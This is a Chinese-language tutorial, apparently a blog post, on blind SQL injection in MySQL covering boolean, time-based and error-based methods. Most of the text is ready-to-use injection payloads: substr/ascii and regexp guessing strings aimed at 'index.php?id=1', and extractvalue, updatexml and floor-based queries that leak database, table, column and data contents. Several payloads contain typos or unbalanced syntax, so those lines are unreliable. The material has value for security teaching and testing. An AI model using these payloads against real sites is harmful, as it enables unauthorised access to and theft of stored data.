SQL注入之盲注
SQL注入之盲注
- 前言
- 一、盲注分類
- 二、具體解析
- 1.基于布爾的sql盲注
- 首先要先了解一下sql注入截取字符串常用的函數(shù):
- (1)mid()函數(shù)
- (2)substr()函數(shù)
- (3)left()函數(shù)
- 具體注入方法
- 2.基于時(shí)間的SQL盲注
- 3.基于報(bào)錯(cuò)的SQL盲注
- 1.extractvalue()函數(shù)
- 2.updatexml()函數(shù)
- 3.floor()函數(shù)
- 案例(這里使用updatexml演示SQL語(yǔ)句獲取user()值)
- (1)利用updatexml獲取user()
- (2)利用updatexml獲取database()(當(dāng)前數(shù)據(jù)庫(kù)名)
- (3)利用報(bào)錯(cuò)注入獲取獲取數(shù)據(jù)庫(kù)庫(kù)名
- (4)利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)表名
前言
何為盲注?盲注就是在 sql 注入過程中,sql 語(yǔ)句執(zhí)行的選擇后,選擇的數(shù)據(jù)不能回顯 到前端頁(yè)面
一、盲注分類
盲注分為三類:
(1)基于布爾的SQL盲注
(2)基于事件的SQL盲注
(3)基于報(bào)錯(cuò)的SQL盲注
二、具體解析
1.基于布爾的sql盲注
首先要先了解一下sql注入截取字符串常用的函數(shù):
(1)mid()函數(shù)
mid (string, start,length)
string
表示要提取字符的字段
start
規(guī)定開始位置(這里的起始值為1)
length
表示要返回的字符數(shù)
比如 str=‘weqweqwe’ mid(str,2,1)返回的值為e(2)substr()函數(shù)
用于截取字符串
substr(string,start,length)參數(shù)的含義和mid函數(shù)的參數(shù)含義一致
(3)left()函數(shù)
得到字符串左部指定個(gè)數(shù)的字符
left(string,n)
string
要截取的字符串
n
長(zhǎng)度(如果沒有規(guī)定n的值就會(huì)返回剩余所有值)
//ORD()函數(shù)返回第一個(gè)字符的ascll碼值常與上述三個(gè)函數(shù)聯(lián)用
具體注入方法
(1)left(database(),1)
database()顯示數(shù)據(jù)庫(kù)名稱,left(database(),1)從左側(cè)截取 database() 的前 1 位
(2)ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+
substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長(zhǎng)度。Ascii()將某個(gè)字符轉(zhuǎn)換 為 ascii 值
(3)regexp 正則注入
1.判斷第一個(gè)表名的第一個(gè)字符是否為a-z的字符假設(shè)abc是已知的庫(kù)名
index.php?id=1 and 1=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[az]' limit 0,1)2.判斷第一個(gè)字符是否為a-p中的字符
index.php?id=1 and a=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[a-p]' limit 0,1)3.確認(rèn)該字符是p
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p' limit 0,1)4.以此類推猜解之后的字符
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p[a-z]' limit 0,1) ........2.基于時(shí)間的SQL盲注
延時(shí)注入是注入延時(shí)回顯參數(shù),根據(jù)是否延時(shí)來判斷語(yǔ)句執(zhí)行是否正確。當(dāng)布爾盲注頁(yè)面回顯無區(qū)別時(shí)通常搭配延時(shí)注入使用。延時(shí)注入常用的函數(shù)有sleep(),if()
sleep(int m);延時(shí)m秒 if(boolean
res,a,b);首選判斷res的返回值,true執(zhí)行a,false執(zhí)行b。有點(diǎn)類似編程里的三目運(yùn)算符
但是一般不推薦使用延遲注入因?yàn)轫?yè)面本身緩沖就有時(shí)間會(huì)對(duì)判斷造成一定的影響
3.基于報(bào)錯(cuò)的SQL盲注
報(bào)錯(cuò)盲注就是使語(yǔ)句報(bào)錯(cuò)。報(bào)錯(cuò)注入則是注入特殊的語(yǔ)句使報(bào)錯(cuò)回顯中帶上我們需要的信息
常見的報(bào)錯(cuò)回顯有三種函數(shù)extractvalue()、updatexml()、floor()
1.extractvalue()函數(shù)
extractvalue(xml_document,xpath_string)
' and(select extractvalue(1,concat(0x7e,(select database()),0x7e))) #查庫(kù) ' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#查表 ' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))#查字段 ' and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))#查數(shù)據(jù)2.updatexml()函數(shù)
updatexml(xml_document,xpath_string,new_value)
' or updatexml(1,concat('~',database(),'~'),1) # 查庫(kù) ' union select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1) #查表 ' union select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME"),0x7e),1) #查字段 ' union select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e),1) #查數(shù)據(jù)3.floor()函數(shù)
' union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查庫(kù) ' union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查表 ' union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查字段 ' union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)#查數(shù)據(jù)note:extractvalue()和updatexml()函數(shù)查詢字符串的最大長(zhǎng)度為32,如果超過32要使用substring()函數(shù)(通過截取或limit一次查取的上限也為32位)
案例(這里使用updatexml演示SQL語(yǔ)句獲取user()值)
(1)利用updatexml獲取user()
‘a(chǎn)nd updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
這里的’0x7e‘是ASCLL編碼的結(jié)果結(jié)果是’~‘
(2)利用updatexml獲取database()(當(dāng)前數(shù)據(jù)庫(kù)名)
‘a(chǎn)nd updatexml(1,concat(0x7e,(select database(),0x7e),1)--+
(3)利用報(bào)錯(cuò)注入獲取獲取數(shù)據(jù)庫(kù)庫(kù)名
‘a(chǎn)nd updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1,0x7e),1)--+
因?yàn)閳?bào)錯(cuò)注入只顯示一條結(jié)果所以要用到limit
(4)利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)表名
‘a(chǎn)nd updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1,0x7e),1)--+
這里的test是從上一個(gè)語(yǔ)句獲取的數(shù)據(jù)庫(kù)庫(kù)名
總結(jié)
- 上一篇: spring源码分析-core.io包里
- 下一篇: 数据库设计注意事项和原则